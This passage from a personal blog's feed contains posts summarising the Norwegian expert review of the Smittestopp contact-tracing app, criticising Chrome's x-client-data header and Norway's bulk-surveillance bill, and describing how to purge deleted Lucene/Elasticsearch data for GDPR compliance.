    style=&quot;padding-bottom: 67.72151898734178%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACf0lEQVR42rWTzU8TQRiHERIUKi3d7nbb7S673Y9+IiLBAAZtglg+dlta6JLgBxIIJh4EvBiiB+VkPPkPcCL0oumpBz1Q4tVwaN1LKU3/EHDI6+xKC43Gg9FJnvxm9p155t3DtLT8j1EoFJb39gqf9/e/fCgWv+WOjqoW1Wo1VywWc/l8Pvf14CBXq9Vyh4eHuHZkUalUPpbL5U+lUmnZ9ABAqyWMT2jbs3MLsHB/8fvas3XQMzpoWhLSqQyo00lYWV6FzNw8nicgoc00UNUk0ucf4r3pbdOj63qbma0dHfYdu4MCkvYfS+FRpETGEC+PIIIWkcsjIUaIIicto6sEj7pcQgM7KRz7lT7wssoO9rRjpSVso2hflmUFGLg9gxJP38PMk3eQWHkL8cU3MPbgNYxkNmFobhOGMy/P0V/B0OwmkoIDQFGeLPZcNpuzhATpyXK8AiwnoGDAD16PEzi2GycBPl83uJwucHRh7L+AKDcLBPEbIctJoIT60fhdFeLjKkzHNVDvaTCFc2pcg1sxFQbvTMPNCwyOTiK2JwBOgm4WkhSDf9kPN4bH0PzqC0gtrkPq8Qak6yxtWOuLpJeeQ/LRGhKkXnA4yWYh7eF2JTkKDMOfkC7PKUV5TykSJ3meboppxqy5vCdumjM73G0SMoyQFaUI+MUQkpUo8EIAJDkCohQG8yLBHwSuR2nAcgr+FjLriOuRgaa5pg7bOV7aUpRoJRjsLUWj/QYvKEY43GcEQr1GJHLdEMWAwXh5A19s4cVzUQzhPddKPlYs07RvC3uu1IWdGBkTw0z8BbGz8531l2dabRgS47bZbO6f2YLT1lj/AfLsfOvF53zpH2CNH7BjJLd0NffBAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Todo list in editor&quot;
        title=&quot;Todo list in editor&quot;
        src=&quot;/static/0ea5a13c5afe342af99a5882f456ad4c/eea79/editor.png&quot;
        srcset=&quot;/static/0ea5a13c5afe342af99a5882f456ad4c/c26ae/editor.png 158w,
/static/0ea5a13c5afe342af99a5882f456ad4c/6bdcf/editor.png 315w,
/static/0ea5a13c5afe342af99a5882f456ad4c/eea79/editor.png 502w&quot;
        sizes=&quot;(max-width: 502px) 100vw, 502px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This affords me visual clues as to the status of the various tasks I have defined, while still keeping the list in a plain text format.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Smittestopp Summarized]]></title><description><![CDATA[The expert group appointed by the Norwegian Ministry of Health and Care Services to ascertain whether security and privacy is responsibly…]]></description><link>https://eivindarvesen.com/blog/2020/05/20/smittestopp-summarized</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2020/05/20/smittestopp-summarized</guid><content:encoded>&lt;p&gt;The expert group &lt;a href=&quot;https://translate.google.com/translate?sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.regjeringen.no%2Fno%2Faktuelt%2Fekspertgruppe%2Fid2697068%2F&quot;&gt;appointed&lt;/a&gt; by the Norwegian Ministry of Health and Care Services to ascertain whether security and privacy is responsibly taken care of in the Norwegian COVID-19 contact tracing app &quot;Smittestopp&quot; has now &lt;a href=&quot;https://www.regjeringen.no/no/aktuelt/ekspertgruppe-foreslar-forbedringer-i-smittestopp-appen/id2703470/&quot;&gt;published its final public report&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Being a member of this group, I thought I would very briefly and informally summarize our findings in English here, as the report is only available in Norwegian.&lt;/p&gt;
&lt;p&gt;Though this is obviously a condensed representation of the contents of our report, I have tried to retain overall structure and the meaning of our original statements. Some details are undoubtedly still lost.
I do this of my own personal initiative; This translation and summarization is not approved by any other party, including other members of the group.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This means that &lt;strong&gt;this is not an official translation&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Background and Involved parties&lt;/h3&gt;
&lt;p&gt;In March of this year, it was revealed that the Norwegian Institute of Public Health (Folkehelseinstituttet, FHI) – a government agency under the Ministry of Health and Care Services (Helse- og omsorgsdepartementet, HOD) – were developing a digital contact tracing app. Simula was chosen as a supplier, producing parts of the soution.
FHI would also produce parts of the solution, as well as Norsk Helsenett (NHN) – which is a government owned company that develops and delivers national IT-infrastructure to the health sector.&lt;/p&gt;
&lt;h2&gt;Our work&lt;/h2&gt;
&lt;p&gt;On April 4th, the Norwegian Ministry of Health and Care Services appointed a group of experts based on recommendations from the organization &lt;a href=&quot;https://www.ikt-norge.no&quot;&gt;IKT Norge&lt;/a&gt;. None of the participants are connected to the Norwegian Institute of Public Health, the Ministry of Health and Care Services, or Simula in any way.&lt;/p&gt;
&lt;p&gt;We were tasked with evaluating all involved components in the Norwegian solution for contact tracing in the context of COVID-19. This includes mobile apps, a backend (encompassing many components, including analysis- and reporting-code) and connected services running in the cloud, integrations and new solutions at NHN and FHI, and plans for software that would create aggregated datasets after 30 days, for use in research and analysis.&lt;/p&gt;
&lt;p&gt;From the 5th of April, we had direct access to source code (working repos), documentation, and representatives from all involved parties.&lt;/p&gt;
&lt;p&gt;The Ministry og Health and Care Services published our &lt;a href=&quot;https://www.regjeringen.no/contentassets/82254fd2dd5f431cb98f57ac28ca1510/mandat-ekspertgruppe.pdf&quot;&gt;mandate&lt;/a&gt; (Norwegian) on the 8th of April.&lt;/p&gt;
&lt;p&gt;We delivered a &lt;a href=&quot;https://www.regjeringen.no/no/dokumenter/forelopig-rapport-for-kodegjennomgang-av-losning-for-digital-smittesporing-av-koronaviruset/id2697286/&quot;&gt;temporary public report&lt;/a&gt; (Norwegian) on the 9th. Because of the short timeline and what parts of the overall system work had started on at this point, the temporary report only dealt with the mobile apps themselves, as well as &lt;em&gt;some&lt;/em&gt; of the backend code. Additionally, we only commented on the security-aspects, and not the privacy implications – as we did not feel we could properly evaluate the privacy of the entire solution without more insight into the complete system and more time.&lt;/p&gt;
&lt;h2&gt;The Norwegian solution&lt;/h2&gt;
&lt;p&gt;The Norwegian COVID-19 contact tracing solution has two purposes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Contact tracing&lt;/li&gt;
&lt;li&gt;Evaluating government actions that aim to lower infection rate (e.g. public movement patterns), as well as further research and analysis (e.g. input to &lt;a href=&quot;https://en.wikipedia.org/wiki/Compartmental_models_in_epidemiology#The_SEIR_model&quot;&gt;SEIR&lt;/a&gt;-models)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The solution consists of the following components:&lt;/p&gt;
&lt;h3&gt;Smartphone app (&quot;Smittestopp&quot;)&lt;/h3&gt;
&lt;p&gt;Users enter their date of birth to confirm they are older than 16 years old, and register with their phone-number in order to use the application. The app collect locations (GPS) and contact (BLE + metadata relevant for estimating distance) with other devices running the app continuously. Once an hour, the app attempts to send all collected user data (contacts via Bluetooth Low Energy, locations via GPS) to a central server, and deletes local data upon completion.&lt;/p&gt;
&lt;p&gt;The code also includes workarounds for BLE-use on iOS in the background, as this is presently subject to certain limitations on the platform.&lt;/p&gt;
&lt;p&gt;Users can temporarily disable tracking (BLE and/or GPS), or request data deletion (in the cloud) from their app. The app also independently uploads heartbeats once registered, which is used to determine whether a given user is still active (still has the app on their phone), and delete their uploaded data if they are not. This heartbeat also includes whether the user has enabled or disabled GLE and GPS, respectively.&lt;/p&gt;
&lt;p&gt;User interactions in the app fires analytics events to AppCenter.&lt;/p&gt;
&lt;h3&gt;Cloud solution&lt;/h3&gt;
&lt;p&gt;An Azure-hosted central datastore. Contains all user data from the last 30 days, including locations, IDs met and timestamps of BLE event, and associated metadata. Here, contact events are calculated in various ways, including crossing GPS-trajectories, and BLE-signals within 2m over 15 min., based on RSSI and more. Two graphs are produced:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A graph based on location data only, and&lt;/li&gt;
&lt;li&gt;A graph based on Bluetooth-data, augmented with location data.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Also included here are services that produces reports for government health services for each person that has been in contact with an &quot;index&quot; (confirmed infected) patient. This includes points of interests (POIs), risk scores, number of contacts, as well as details of each contact between the two, such as the contact event dispayed in a map, risk scores, POIs, and more.&lt;/p&gt;
&lt;p&gt;Within 30 days, and after using making aggregated datasets for further research and analysis, the cloud solution will delete data on an individual level (personally identifiable information), in accordance with regulation.&lt;/p&gt;
&lt;p&gt;Security events, diagnostic data, etc. are also fed to a Security Operations Center (SOC) from here.&lt;/p&gt;
&lt;h3&gt;Web applications from FHI &amp;#x26; NHN&lt;/h3&gt;
&lt;p&gt;NHN has produced an access auditing solution, where users can log in securely on an existing Norwegian healthcare information &lt;a href=&quot;https://minhelse.helsenorge.no&quot;&gt;website&lt;/a&gt;, using a high security government standard login solution, and associate themselves with the phone number used to register the app on their smartphone. They will then be able to see who has accessed their data, when, and for what purpose.&lt;/p&gt;
&lt;p&gt;In addition, FHI has produced a web application for use in &quot;hunting&quot; for contacts. These &quot;infection hunters&quot; will, given an index patient (person with confirmed infection), review contacts between the index patient and other persons for possible notification. Here, they will use the reports mentioned earlier.&lt;/p&gt;
&lt;h3&gt;Aggregated data&lt;/h3&gt;
&lt;p&gt;There is an expressed need for aggregated data in order to evaluate, for instance, the effect of government actions on social distance, rate of infection, analyze public movement, and to obtain data to use as input to SEIR-models.&lt;/p&gt;
&lt;p&gt;Protocols to produce five different aggregated datasets (with different variants), and a k-anonymity of (usually) 5-10 has been proposed.&lt;/p&gt;
&lt;p&gt;The code that would perform this task was not finished during our work. Thus, we worked mostly with documentation and conversations with relevant parties in this part of the review.&lt;/p&gt;
&lt;h2&gt;Data Use and Results&lt;/h2&gt;
&lt;h3&gt;Purpose and context&lt;/h3&gt;
&lt;p&gt;The more limitations one puts on collection and storage of data, the less of a risk is posed to users&apos; privacy. We point out that contact could be traced via BLE alone, and note that GPS typically has a precision of 3-10m and yields the best results outdoors. We also comment on the state of Bluetooth APIs and their limitations (on iOS in particular), which at this point in time is the main argument in favor of augmenting this data with GPS, and correlating data from several users. We note that background use of BLE-APIs on iOS will change in an upcoming OS update, as part of Apple and Google&apos;s collaboration on a standardized contact tracing API.&lt;/p&gt;
&lt;p&gt;To evaluate how government actions affect movement in the population, one would ostensibly need location data in some form – though it would likely suffice with &quot;courser&quot; data than GPS on an individual level (as is used in contact tracing). In the Norwegian solution, GPS-data from all participants is used in combination with BLE, the latter of which is used to count contacts between people on different categories (POIs) of places. One could imagine a differentially private approach, where apps would aggregate data on the device, add artificial noise with certain statistical properties and so on.&lt;/p&gt;
&lt;p&gt;In a pure resesarch-perspective, more data would be better – though the opposite is true in a pure privacy-perspective.&lt;/p&gt;
&lt;p&gt;The app is voluntary to use in Norway, though the basis for processing is a regulation (authorized by the &quot;Diseases Act&quot;) – &lt;em&gt;not&lt;/em&gt; consent. Outside of this, the (the Norwegian implementation of) GDPR applies as otherwise.
The regulation which is the basis for processing puts in place certain limitations for use and sharing of health-related data and location data. As BLE is neither, we fear that the current regulation allows sharing of BLE-data with, for instance, law enforcement.&lt;/p&gt;
&lt;h3&gt;Findings&lt;/h3&gt;
&lt;h4&gt;App&lt;/h4&gt;
&lt;p&gt;The app starts communicating analytics data as soon as it is opened– including app version, telecom provider, locale, device model and manufacturer, screen resolution, OS type and version, timezone, and a unique identifier. This is not mentioned in the app&apos;s privacy policy, and user&apos;s are unable to control (i.e. opt out of) this.&lt;/p&gt;
&lt;p&gt;The app uses a static identifier in BLE-contact communications. This was also reported in our previous, limited report. Simula plans to implement a new approach, where exchanged IDs and timestamps are encrypted on users&apos; devices with a public key, and decrypted using a private key in the cloud.&lt;/p&gt;
&lt;h4&gt;Backend&lt;/h4&gt;
&lt;p&gt;The only form of anything resembling session validation in the cloud solution is using an eternal connection string. This means that &lt;em&gt;one&lt;/em&gt; Man-In-The-Middle&apos;ed connection equals eternal session hijacking (in combination).&lt;/p&gt;
&lt;p&gt;The functionality used to bind phone number to the cloud device ID is implemented using a so-called &quot;preview feature&quot;, which the supplier (Microsoft) says one should &lt;em&gt;not&lt;/em&gt; use to process personal data or any other data that is subject to heightened compliance requirements.&lt;/p&gt;
&lt;h4&gt;Access solution&lt;/h4&gt;
&lt;p&gt;Requesting deletion of data in the cloud (via a user device) will also effectively delete any audit logs for the user data. This should be decoupled and done directly in its own solution.&lt;/p&gt;
&lt;p&gt;Users can not see their own Bluetooth-contacts in the access auditing solution.&lt;/p&gt;
&lt;p&gt;Logs of FHI&apos;s data access cannot be seen by users at the time of writing.&lt;/p&gt;
&lt;h4&gt;Notification solution&lt;/h4&gt;
&lt;p&gt;The code that finds and analyzes instances of contact is of very low quality. In some cases it is hard to read, and is so complicated and complex that it can not be called easily maintainable. There are also weaknesses both in implementation and in method (such as dropping data, performing smoothing).&lt;/p&gt;
&lt;p&gt;As a consequence of attempting to translate signal strength (RSSI, txPower) to distance (BLE), there might also be inconsistent classifications.&lt;/p&gt;
&lt;p&gt;SMS, which is used for notifying users, is not a secure communications channel, and these are easily spoofable.&lt;/p&gt;
&lt;h2&gt;Discussion&lt;/h2&gt;
&lt;p&gt;The government thinks they need 60% of the population (minimum) to get good results in contact tracing, and that research/analysis might need only 10% of the population. As users cannot choose what data to share for what purpose, we believe there is a risk of lowered user uptake.&lt;/p&gt;
&lt;p&gt;We understand why one might start out with a centralized approach: Attempting to compensate for data quality by combining data from users, adjusting the contact tracing algorithms, and having an easily understandable and familiar basis will reduce risk and time to market. However, this does not mean one cannot work towards decentralization over time. By being more selective in what data to collect, and separating data collection for contact tracing from other purposes, one can reduce the risk to user privacy. In addition, a centralized data store of this kind will yield much larger negative consequences in the event of misuse, leaks or errors. It will also be a high value target for APTs, which are already targeting actors and systems involved in COVID-19 response.&lt;/p&gt;
&lt;p&gt;Location data (on some level) is needed to evaluate movement patterns in the public, and enables use of category of location and mode of transport as factors in contact evaluation. While it can be used to remediate lowered quality of BLE-data, it is also more privacy-invasive.&lt;/p&gt;
&lt;p&gt;Updated APIs from platform providers (Apple &amp;#x26; Google) will lead to better data quality via BLE. Using these APIs requires no use of location services, and forbids a centralized storage approach, and would thus demand some rework of the app. This would have to lead to a lowered ambition when it comes to data collection, or implementing an app that only does contact tracing.&lt;/p&gt;
&lt;p&gt;We discuss the currently propsed solution for data aggregation, which involves random sampling, k-anonymity and access-control, and compare the qualities of this approach with differential privacy, which we think would yield both better privacy and better data in this case.&lt;/p&gt;
&lt;p&gt;Also discussed is contact tracing vs. attempting to predict infection directly, e.g. using time spent in POIs, close contacts etc. as inputs.&lt;/p&gt;
&lt;p&gt;The group points out that open source code would make it posible for the public to verify, and possibly improve the solution. Open source code might lead to better security in a longer perspective, but in the short run it could enable bad actors to identify and exploit a vulnerability before anyone else can identify it, patch it, and release a fix.&lt;/p&gt;
&lt;p&gt;We discuss the fact that contact tracing via smartphones is a new, unsolved problem – and that, since the solution is based on technology that is not designed for this purpose (BLE, GPS), it is uncertain whether the problem can be solved in practice. We acknowledge that time is obviously a pressing concern in this project. Then we discuss the extent to which non-functional requirements such as security and privacy are considered at present, in light of what development phase the solution is in. It is claimed that the app is being tested in a select few municipalities, even though people all over the country are able to download the application and upload data in practice.
We mention the importance of goals and hypotheses in the context of constantly reevaluating during development.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;We find that neither security nor privacy is responsibly taken care of in the system as of May 18th 2020.&lt;/p&gt;
&lt;p&gt;In the case of security, rectifying the use of a static identifier might have bettered security-aspects so much as lead us to another conclusion – but privacy concerns demands more, and larger alterations.&lt;/p&gt;
&lt;h3&gt;Recommendations&lt;/h3&gt;
&lt;p&gt;The group&apos;s recommendations include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Clarifying the regulation which serves as basis for processing (changing &quot;anonymized&quot; to &quot;deidentified&quot;), to enable data aggregation in practice.&lt;/li&gt;
&lt;li&gt;Split purposes, and allow users to choose how their data is used (split into several apps, or implement opt-in functionality). This might both protect users&apos; interests and lead to more users.&lt;/li&gt;
&lt;li&gt;Remove all data that is not needed (e.g. delete location data older than 15-16 days, delete location data without crossing trajectories at regular intervals) to increase data minimization.&lt;/li&gt;
&lt;li&gt;Implement differential privacy in data aggregation processes, to reduce risk to privacy and increase accuracy of the resulting dataset.&lt;/li&gt;
&lt;li&gt;Consider rewriting to a more distributed solution, post stabilized contact tracing criteria, as this could be both less invasive and lead to an increase in users.&lt;/li&gt;
&lt;li&gt;Implement local differential privacy before uploading user data, to further decrease privacy impact.&lt;/li&gt;
&lt;li&gt;Make as much source code as possible available as open source, to give the public real insight into how their data is used.&lt;/li&gt;
&lt;li&gt;Regularly evaluate the solution, purpose and effect, to ensure that the solution is still suitable, and the problem is still relevant.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The original Norwegian report can be found &lt;a href=&quot;https://www.regjeringen.no/contentassets/88ec3360adae44a1a9635fd6c1a58fca/200520_rapport_ekspertgruppa_smittestopp.pdf&quot;&gt;here&lt;/a&gt; (PDF).&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Don't be Evil]]></title><description><![CDATA[Two days ago, I stumbled upon this thread on Hacker News. The subject of discussion is a comment on a W3C TAG discussion, which claims that…]]></description><link>https://eivindarvesen.com/blog/2020/02/06/dont-be-evil</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2020/02/06/dont-be-evil</guid><content:encoded>&lt;p&gt;Two days ago, I stumbled upon &lt;a href=&quot;https://news.ycombinator.com/item?id=22236106&quot;&gt;this&lt;/a&gt; thread on Hacker News. The subject of discussion is a comment on a &lt;a href=&quot;https://github.com/w3ctag/design-reviews/issues/467#issuecomment-581944600&quot;&gt;W3C TAG discussion&lt;/a&gt;, which claims that Google Chrome &lt;a href=&quot;https://www.google.com/chrome/privacy/whitepaper.html#variations&quot;&gt;sets&lt;/a&gt; Google-specific tracking headers (&lt;code class=&quot;language-text&quot;&gt;x-client-data&lt;/code&gt;) when visiting &lt;a href=&quot;https://chromium.googlesource.com/chromium/src/+/master/components/variations/net/variations_http_headers_unittest.cc&quot;&gt;Alphabet-owned domains&lt;/a&gt;. The header&apos;s value is a &quot;unique ID to track a specific Chrome instance&quot; (installation).&lt;/p&gt;
&lt;p&gt;There&apos;s no consent from users, or even an ability to opt-out.&lt;/p&gt;
&lt;p&gt;This could &lt;em&gt;obviously&lt;/em&gt; be used to fingerprint or track users (especially if combined with IP-address, for instance) – even across domains – which looks especially sketchy in the context of recent &lt;a href=&quot;https://sites.google.com/a/chromium.org/dev/updates/same-site&quot;&gt;development&lt;/a&gt; with &lt;a href=&quot;https://www.owasp.org/index.php/SameSite&quot;&gt;SameSite&lt;/a&gt;-cookies, as it means that Google is potentially keeping the possibility that everyone else will eventually be denied because of their vertical ownership, including the platform (browser).&lt;/p&gt;
&lt;p&gt;An antitrust-case in the making?&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A rose by any other name]]></title><description><![CDATA[I have long been arguing against the proposed bill for the Norwegian external intelligence service, as it included legislation for bulk…]]></description><link>https://eivindarvesen.com/blog/2020/06/13/a-rose-by-any-other-name</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2020/06/13/a-rose-by-any-other-name</guid><content:encoded>&lt;p&gt;I have &lt;a href=&quot;https://www.eivindarvesen.com/blog/2018/12/31/at-year-s-end&quot;&gt;long&lt;/a&gt; been arguing against the &lt;a href=&quot;https://www.regjeringen.no/contentassets/b7bada5f31bc482092318df675a2019d/no/pdfs/prp201920200080000dddpdfs.pdf&quot;&gt;proposed bill&lt;/a&gt; for the Norwegian external intelligence service, as it included legislation for bulk collection and storage of data-traffic.&lt;/p&gt;
&lt;p&gt;The bill includes the euphemism &quot;facilitated retrieval&quot; (formerly known as &quot;digital border defence&quot;), describing continuous mirroring of &lt;em&gt;all data traffic&lt;/em&gt; &quot;crossing the border&quot; (i.e. almost all Norwegian traffic, including norwegian-to-norwegian traffic). Metadata will be searchable via (secret) court order, and content data after another, separate court order after that. It&apos;s basically your run-of the-mill metadata bulk collection.&lt;/p&gt;
&lt;p&gt;The ministry of defence (and particularly the Minister of Defence, Frank Bakke-Jensen) has repeatedly ignored expert criticism during hearings, avoided responding to counter-arguments and questions in debate and the media.&lt;/p&gt;
&lt;p&gt;After facing pure slaughter at last year&apos;s hearing – the Norwegian Data Protection Authority called the bill &quot;mass-surveillance of Norwegian citizens&quot; – the Norwegian government decided to fast-track the bill this summer, during the current pandemic crisis, and with their usually short warnings.&lt;/p&gt;
&lt;p&gt;Along with Simen Bakke, Britt Lysaa and Johannes Brodwall, I recently wrote a &lt;a href=&quot;https://medium.com/@ti_opprop/opprop-mot-tilrettelagt-innhenting-507fdc0fb47f&quot;&gt;statement and petition&lt;/a&gt; (Norwegian) – stating that the bulk-collection part of the bill constitutes mass surveillance, and is unacceptable in a liberal democracy.&lt;/p&gt;
&lt;p&gt;Even though &lt;strong&gt;no major media&lt;/strong&gt; even covered the fact that the bill was in Parliament, we got over 1000 signatures in under 2,5 days.&lt;/p&gt;
&lt;p&gt;Nevertheless, parliament passed the bill – which means that Norway, tragically, has become yet another western country implementing more authoritarian means.&lt;/p&gt;
&lt;p&gt;This is particularly interesting as the European Court of Human Rights is currently dealing with two cases that deal with whether comparable measures of mass surveillance (bulk collection of metadata etc.) is compatible with human rights.
Back in 2011, the Norwegian parliament voted to implement the &lt;a href=&quot;https://en.wikipedia.org/wiki/Data_Retention_Directive&quot;&gt;Data Retention Directive&lt;/a&gt; (as one of the first in Europe, even though we&apos;re not part of the &lt;a href=&quot;https://en.wikipedia.org/wiki/European_Union&quot;&gt;European Union&lt;/a&gt;, only the &lt;a href=&quot;https://en.wikipedia.org/wiki/European_Economic_Area&quot;&gt;European Economic Area&lt;/a&gt;) – which they later had to abandon, as the Court of Justice of the European Union declared the Directive invalid – stating that blanket data collection violated the EU Charter of Fundamental Rights, in particular the right of privacy.&lt;/p&gt;
&lt;p&gt;I don&apos;t know what&apos;s worse in this case: The bad and invalid arguments the government have used, or the apparent cluelessness of the politicians that voted for the bill.
It’s all in Norwegian, and somewhat lengthy, but there&apos;s video (all Norwegian) available from both the Standing Committee on Foreign Affairs and Defence (&lt;a href=&quot;https://www.stortinget.no/no/Hva-skjer-pa-Stortinget/Videoarkiv/Arkiv-TV-sendinger/?mbid=/2020/H264-full/Hoeringssal1/05/28/Hoeringssal1-20200528-102641.mp4&amp;#x26;msid=199&amp;#x26;dateid=10004428&quot;&gt;part 1&lt;/a&gt;, &lt;a href=&quot;https://www.stortinget.no/no/Hva-skjer-pa-Stortinget/Videoarkiv/Arkiv-TV-sendinger/?mbid=/2020/H264-full/Hoeringssal1/05/28/Hoeringssal1-20200528-120919.mp4&amp;#x26;msid=341&amp;#x26;dateid=10004429&quot;&gt;part 2&lt;/a&gt;) and Parliament (&lt;a href=&quot;https://www.stortinget.no/no/Hva-skjer-pa-Stortinget/Videoarkiv/Arkiv-TV-sendinger/?mbid=/2020/H264-full/Storting/06/11/Stortinget-20200611-095800.mp4&amp;#x26;msid=3952&amp;#x26;meid=10598&quot;&gt;part 1&lt;/a&gt;, &lt;a href=&quot;https://www.stortinget.no/no/Hva-skjer-pa-Stortinget/Videoarkiv/Arkiv-TV-sendinger/?mbid=/2020/H264-full/Storting/06/11/Stortinget-20200611-145500.mp4&amp;#x26;msid=300&amp;#x26;meid=10598&quot;&gt;part 2&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Some seem to understand neither context, technical premises, legal boundaries nor practical consequences of the bill.&lt;/p&gt;
&lt;p&gt;There was some after-the-face coverage of both the bill and the petition in &lt;a href=&quot;https://www.dagbladet.no/kultur/overvaking-uten-grenser/72561268&quot;&gt;Dagbladet&lt;/a&gt; and &lt;a href=&quot;https://nattogdag.no/2020/06/myndigheter-vil-masseovervake/&quot;&gt;Natt &amp;#x26; Dag&lt;/a&gt;, but it was too little, too late.&lt;/p&gt;
&lt;p&gt;Now we&apos;ll have to think about next steps...&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Lucene Indexes and GDPR]]></title><description><![CDATA[Last week, I wrote about a potential GDPR-issue with Elasticsearch (Lucene segments, really) that I discovered this summer. As this is…]]></description><link>https://eivindarvesen.com/blog/2018/09/23/lucene-indexes-and-gdpr</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/09/23/lucene-indexes-and-gdpr</guid><content:encoded>&lt;p&gt;Last week, I &lt;a href=&quot;/blog/2018/09/16/elasticsearch-and-gdpr&quot;&gt;wrote&lt;/a&gt; about a potential GDPR-issue with Elasticsearch (Lucene segments, really) that I discovered this summer. As this is uncharted territory, there was no obvious solution – and there are potentially &lt;em&gt;&lt;a href=&quot;https://www.google.com/search?q=elasticsearch+as+primary+data+store+site:stackoverflow.com&amp;#x26;sa=X&amp;#x26;ved=2ahUKEwiDpJr8_tHdAhVvwosKHRpuCVMQrQIoBDABegQICxAM&amp;#x26;biw=1200&amp;#x26;bih=717&quot;&gt;lots&lt;/a&gt;&lt;/em&gt; of people and organizations at risk.&lt;/p&gt;
&lt;p&gt;Now, I think I have a solution.&lt;/p&gt;
&lt;p&gt;**Edit: ** &lt;em&gt;I&apos;ve since held a &lt;a href=&quot;/content/pages/slides/GDPR-og-Sletting-BouvetOne-November-2018.pdf&quot;&gt;presentation&lt;/a&gt; regarding this (in Norwegian).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;**Edit: ** &lt;em&gt;I &lt;a href=&quot;https://vimeo.com/364735734&quot;&gt;spoke&lt;/a&gt; about this subject at JavaZone 2019.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;The issue&lt;/h2&gt;
&lt;p&gt;As I described in my &lt;a href=&quot;/blog/2018/09/16/elasticsearch-and-gdpr&quot;&gt;post about Elasticsearch and GDPR&lt;/a&gt;, there is in all probability a large amount of solutions out there that are in violation of the GDPR, from my conservative, non-lawyer interpretation of the situation. This is because they rely upon &lt;a href=&quot;https://www.elastic.co/products/elasticsearch&quot;&gt;Elasticsearch&lt;/a&gt; as a primary data store (which they should &lt;em&gt;not&lt;/em&gt; do), or otherwise depend on &lt;a href=&quot;http://lucene.apache.org/&quot;&gt;Lucene&lt;/a&gt; for storage of personal data.&lt;/p&gt;
&lt;p&gt;To sum it all up, the problem is that data isn&apos;t really deleted from Lucene segments before the segment containing the data in question is merged – the timing of which is not necessarily easily predictible, as it depends on a lot of technical details. This means that one can&apos;t necessarily guarantee deletion of data within 30 days, in accordance with the GDPR.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;It is important to point out that the problem does &lt;strong&gt;not&lt;/strong&gt; stem from Elasticsearch or Lucene themselves, but from how people use them, i.e. for something they were not designed to do.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;After discussing with colleagues at &lt;a href=&quot;https://www.bouvet.no/&quot;&gt;Bouvet&lt;/a&gt;, as well as reaching out to &lt;a href=&quot;https://www.elastic.co/&quot;&gt;Elastic&lt;/a&gt;, the &lt;a href=&quot;http://lucene.apache.org/&quot;&gt;Lucene&lt;/a&gt; Project Management Committee, and third party solutions, I believe I&apos;ve finally got a pragmatic solution.&lt;/p&gt;
&lt;h2&gt;Discussion&lt;/h2&gt;
&lt;p&gt;I sent an email to &lt;a href=&quot;http://www.cominvent.com/&quot;&gt;Jan Høydahl&lt;/a&gt; (Lucene contributor and member of the Lucene Project Management Committee), who – in addition to spar about GDPR and practical solutions – told me that Lucene 7.5 (which will likely be released in the coming week) will change the segment merging logic to also include &lt;a href=&quot;https://lucidworks.com/2018/06/20/solr-and-optimizing-your-index-take-ii/&quot;&gt;handling of segments with more than 5 GB of data&lt;/a&gt;, and therefore generally ensure that deleted docs will disappear faster than before, also in large segments. The limit for what percentage amount of deleted docs that will lead to a segment merge will also be configurable, which means that one can set this to a lower value at the expense of I/O to ensure more frequent segment merging.&lt;/p&gt;
&lt;p&gt;On &lt;a href=&quot;https://www.linkedin.com/feed/update/urn:li:activity:6447571093132709888/&quot;&gt;LinkedIn&lt;/a&gt;, he commented:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Luckily the upcoming Lucene/Solr 7.5, which is currently in the release pipeline, fixes some of the shortcomings you mention in your post, and allows Lucene to weed out deleted docs in a predictable manner while doing its ordinary merges in the background, also from large segments, see &lt;a href=&quot;https://jira.apache.org/jira/browse/LUCENE-7976&quot;&gt;https://jira.apache.org/jira/browse/LUCENE-7976&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;He also told me that one could, for instance, perform a forced optimize or &lt;code class=&quot;language-text&quot;&gt;expungeDeletes&lt;/code&gt; operation every 30th day to force a complete cleaning of deleted docs. Because of the large amounts of data that will be read and written to and from disk, this would be a very costly and time consuming operation. One should therefore either run this in a maintenence window or off-peak, or alternatively scale one&apos;s cluster a little up more than one would normally need to handle this I/O during peak hours. Since one would only do this every 30th day, the off-peak solution might be preferrable.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;If the GDPR would lead to fines for &quot;deleted&quot; personal data being discoverable in an index-file after 30 days, one should upgrade to Lucene 7.5 (once it is released) and run &lt;code class=&quot;language-text&quot;&gt;expungeDeletes&lt;/code&gt; every 30th day (e.g. via a cronjob).&lt;/p&gt;
